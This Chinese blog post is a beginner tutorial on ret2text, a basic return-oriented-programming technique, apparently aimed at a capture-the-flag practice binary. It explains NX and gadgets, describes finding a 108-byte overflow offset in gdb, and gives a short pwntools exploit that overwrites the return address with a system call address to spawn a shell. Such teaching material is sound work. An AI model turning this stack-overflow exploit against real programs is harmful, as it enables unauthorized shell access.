美文网首页
一.基本rop_ret2text

一.基本rop_ret2text

作者: Zero_0_0 | 来源:发表于2019-05-03 21:15 被阅读0次

1.随着NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。
2.目前主要的是ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
3.所谓 gadgets 就是以ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

注:ret2text说的就是在程序中利用代码的地址(给你了system),来进行shell
小白入门可以gdb直接泄露溢出大小(溢出大小+ebp(4)+system_addr
高手可以利用gdb动态调试查看一下,在ida里面我们申请的是

int v4; // [sp+1Ch] [bp-64h]@1   #100

可是在我们调试的时候溢出大小其实是108

EXP
from pwn import*

p = process('./ret2text')

system_addr = 0x804863A
payload = 'A'*108
payload += p32(0)
payload += p32(system_addr)

p.sendline(payload)
p.interactive()

相关文章

  • 一.基本rop_ret2text

    1.随着NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。2.目前主要的是ROP(Retu...

  • 基本语法一

    # echo 定义变量 只读变量readonly 删除变量 unset 变量类型 特殊变量 字符串

  • 一、基本介绍

    1、基本规范 1.1、大小写规范 MySQL不区分大小写,但是建议关键字大写,表名,列名小写。 1.2、结尾 命令...

  • (一)基本服务

    Windows服务 ① 启动MySQL: ②创建Windows服务: 连接与断开服务器

  • 一 基本脚本

    执行数学运算exprexpr 5 * 2方括号 $[]$[5 * 2]缺点:只支持整数运算bc运算variable...

  • JavaScript基本(一)

    变量 js有三种申明变量的方式,var,let const var关键字 var 申明的变量是一个函数作用域的变量...

  • elasticsearch基本查询笔记(一) -- 基本查询

    Search APIs简介 REST request URI 轻便快速的URI查询方法 REST request ...

  • 一、基本工具与基本使用方法

    三个工具:apktool、dex2jar和jd-gui apktool 下载地址 dex2jar 下载地址 jd-...

  • 基本的基本

    今天想跟大家分享一下最近在看的松浦弥太朗的《100个基本》。 而人生不需要大道理,一点哲学就好了。 (以下是我摘抄...

  • Manjaro基本设置(一)

    一、设置镜像源(包括 core, extra, community, multilib 和archlinuxcn)...

网友评论

      本文标题:一.基本rop_ret2text

      本文链接:https://www.haomeiwen.com/subject/ncgznqtx.html